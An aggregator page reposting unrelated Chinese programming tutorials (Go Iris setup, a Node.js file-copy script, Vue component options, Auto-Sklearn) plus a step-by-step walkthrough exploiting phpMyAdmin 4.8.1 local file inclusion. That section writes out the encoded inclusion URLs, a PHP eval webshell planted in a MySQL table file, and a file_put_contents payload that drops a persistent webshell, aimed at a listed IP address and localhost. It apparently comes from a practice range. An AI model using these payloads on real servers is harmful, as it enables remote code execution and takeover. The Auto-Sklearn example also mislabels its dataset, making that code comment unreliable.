如果在运行上述代码时遇到找不到Iris包的错误,这通常是由于Go环境路径配置不正确导致的。确认go.mod文件中是否包含正确的Iris依赖信息,若没有,请执行如下命令添加依赖: bash cd your_project_directory go mod tidy 以上就是关于Go Iris安装过程中可能出现的问题以及对应的解决方法。安装与配置虽看似琐碎,但却是构建强大应用的基础。希望这些分享能帮助你在探索Go Iris的路上少走弯路,顺利开启高效编程之旅。接下来,尽情享受Iris带来的极致性能与便捷开发体验吧!
2023-07-12 20:34:37
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山涧溪流
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...操作需要了解一下fs模块 在fs模块中有同步和异步两种方式 读取文件 //异步 fs.readFile('test.txt', 'utf-8' (err, data) => { if (err) { throw err; } console.log(data); }); //同步 let data = fs.readFileSync('test.txt'); console.log(data); 异步读取文件参数:文件路径,编码方式,回调函数 写入文件 fs.writeFile('test2.txt', 'this is text', { 'flag': 'w' }, err => { if (err) { throw err; } console.log('saved'); }); 写入文件参数:目标文件,写入内容,写入形式,回调函数 flag写入方式: r:读取文件 w:写文件 a:追加 创建目录 fs.mkdir('dir', (err) => { if (err) { throw err; } console.log('make dir success'); }); dir为新建目录名称 读取目录 fs.readdir('dir',(err, files) => { if (err) { throw err; } console.log(files); }); dir为读取目录名称,files为目录下的文件或目录名称数组 获取文件信息 fs.stat('test.txt', (err, stats)=> { console.log(stats.isFile()); //true }) 获取文件信息后stats方法: 方法 说明 stats.isFile() 是否为文件 stats.isDirectory() 是否为目录 stats.isBlockDevice() 是否为块设备 stats.isCharacterDevice() 是否为字符设备 stats.isSymbolicLink() 是否为软链接 stats.isFIFO() 是否为UNIX FIFO命令管道 stats.isSocket() 是否为Socket 创建读取流 let stream = fs.createReadStream('test.txt'); 创建写入流 let stream = fs.createWriteStreamr('test_copy.txt'); 开发 开发思路: 读取源目录 判读存放目录是否存在,不存在时新建目录 复制文件 判断复制内容是否为文件 创建读取流 创建写入流 链接管道,写入文件内容 let fs = require('fs'), src = 'src', dist = 'dist', args = process.argv.slice(2), filename = 'image', index = 0; //show help if (args.length === 0 || args[0].match('--help')) { console.log('--help\n \t-src 文件源\n \t-dist 文件目标\n \t-n 文件名\n \t-i 文件名索引\n'); return false; } args.forEach((item, i) => { if (item.match('-src')) { src = args[i + 1]; } else if (item.match('-dist')) { dist = args[i + 1]; } else if (item.match('-n')) { filename = args[i + 1]; } else if (item.match('-i')) { index = args[i + 1]; } }); fs.readdir(src, (err, files) => { if (err) { console.log(err); } else { fs.exists(dist, exist => { if (exist) { copyFile(files, src, dist, filename, index); } else { fs.mkdir(dist, () => { copyFile(files, src, dist, filename, index); }) } }); } }); function copyFile(files, src, dist, filename, index) { files.forEach(n => { let readStream, writeStream, arr = n.split('.'), oldPath = src + '/' + n, newPath = dist + '/' + filename + index + '.' + arr[arr.length - 1]; fs.stat(oldPath, (err, stats) => { if (err) { console.log(err); } else if (stats.isFile()) { readStream = fs.createReadStream(oldPath); writeStream = fs.createWriteStream(newPath); readStream.pipe(writeStream); } }); index++; }) } 效果 总结 node提供了很多模块可以帮助我们完成不同需求的功能开发,使javascript不仅仅局限与浏览器中,尝试自己编写一些脚本有助于对这些模块的理解,同时也能提高办公效率。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_33205138/article/details/112036462。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-30 19:15:04
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...选项是一个对象,其中存放着该组件要使用的函数,比如事件的回调函数… <template><div><!-- 添加点击事件,事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数(方法)methods:{add(){// 在函数中要使用data中的变量,需加thisthis.count++},} }</script> 通过点击事件改变count的值,从而使页面上的值随之变化,再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性,对象形式,顾名思义,在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程:{ { distance } } km</p><p>速度:{ { speed } } km/h</p><!-- 使用计算属性,与变量的使用相同 --><p>花费的时间:{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性,类似于函数的定义,返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance(路程)与speed(速度)无论如何变化,time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节,我们学习了一些Vue内置指令,功能十分强大,那么我们可以自己定义一些指令吗? 当然可以!我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令,来模仿v-show的功能directives: {//el:添加自定义指令的元素;binding:指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种,在组件中定义的指令是局部指令,只能在本组件中使用,全局指令需要在main.js文件中定义,全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项(注册局部组件) 在一个组件中我们可能会使用到其他组件,在将组件引入后,需要在components中进行注册,才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用,需要在任何组件中使用,需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件,可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器,vue2中使用,Vue3中已经弃用 mounted 等生命周期函数选项,我们在下节进行详细讲解… 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 22:28:14
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...现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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...使用方法之详细攻略 目录 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 autosklearn/Auto-Sklearn的安装 系统安装要求¶ autosklearn/Auto-Sklearn的使用方法 1、基础案例 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 简介 Auto-Sklearn,在2015年由德国图宾根大学的研究人员提出的,最初的版本于2016年发布。auto-sklearn基于scikit-learn库进行开发,支持多种机器学习任务,包括分类、回归、时间序列等。 核心技术点 Auto-Sklearn使用了贝叶斯优化的方法进行超参数优化,可以在较短的时间内找到最优的超参数组合,从而得到更好的模型性能。 功能 Auto-Sklearn是一款基于Python的自动机器学习工具,可以自动进行机器学习的各个步骤,包括特征选择、特征预处理、算法选择和超参数优化等。 自动特征选择与工程:可以自动选择最优特征子集,并进行归一化、缺失值处理等特征工程。 自动模型选择:可以自动选择最优的机器学习算法来解决问题,支持的算法包括SVM、KNN、随机森林等。 自动超参数优化:可以自动搜索机器学习模型的最优超参数,获得最高性能的模型配置。 特点 auto-sklearn的优势在于它的易用性和灵活性。用户只需要提供数据集和一些基本的配置,就可以自动进行模型构建和优化。 auto-sklearn可以自动选择和配置算法和超参数,从而让用户省去了手动调参的过程。 auto-sklearn还支持并行化处理,可以在多个CPU或GPU上运行,进一步加速模型训练和优化。 优缺点 自动化:auto-sklearn能够自动化地完成机器学习的各个环节,从而让用户省去手动调参和特征工程等繁琐的工作。 灵活性:auto-sklearn提供了多种配置选项,用户可以根据自己的需求进行自定义配置。 性能好:auto-sklearn使用贝叶斯优化技术进行超参数优化,能够在短时间内找到最优的超参数组合,从而得到更好的模型性能。 处理大数据集时较慢:auto-sklearn的处理速度受限于计算资源,处理大数据集时需要较长时间。 可解释性较差:由于auto-sklearn是自动化的,生成的模型可解释性较差。 应用案例 Kaggle竞赛:auto-sklearn在多个Kaggle竞赛中表现出色,包括房价预测、分类、回归等多个任务。 自动化机器学习平台:auto-sklearn可以作为自动化机器学习平台的核心组件,帮助用户快速构建和部署机器学习模型。 数据科学教育:auto-sklearn可以作为教学工具,帮助学生快速入门机器学习,并加深对机器学习原理的理解。 autosklearn/Auto-Sklearn的安装 pip install auto-sklearnpip install -i https://pypi.tuna.tsinghua.edu.cn/simple auto-sklearnconda install -c conda-forge auto-sklearn 系统安装要求¶ auto-sklearn 具有以下系统要求: Linux 操作系统(例如 Ubuntu)(在此处获取 Linux) Python (>=3.7)(在此处获取 Python), C++ 编译器(支持 C++11)(在此处获取 GCC)。 如果您尝试在没有提供 pyrfr 包的 wheel 文件的系统上安装 Auto-sklearn(请参阅此处了解可用的 wheels),您还需要: SWIG(在此处获取 SWIG)。 有关缺少 Microsoft Windows 和 macOS 支持的说明,请查看Windows/macOS 兼容性部分。 注意:auto-sklearn 当前不支持 Windows系统,因为auto-sklearn严重依赖 Python 模块resource。是 Python 的Unix 特定服务resource 的一部分 ,在 Windows 机器上不可用。因此,无法 在 Windows 机器上运行auto-sklearn 。 autosklearn/Auto-Sklearn的使用方法 1、基础案例 import sklearn.datasetsimport autosklearn.classification 加载Titanic数据集X, y = sklearn.datasets.load_breast_cancer(return_X_y=True) 使用Auto-Sklearn训练模型model = autosklearn.classification.AutoSklearnClassifier()model.fit(X, y) 输出模型评估结果print(model.sprint_statistics()) 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-13 13:27:17
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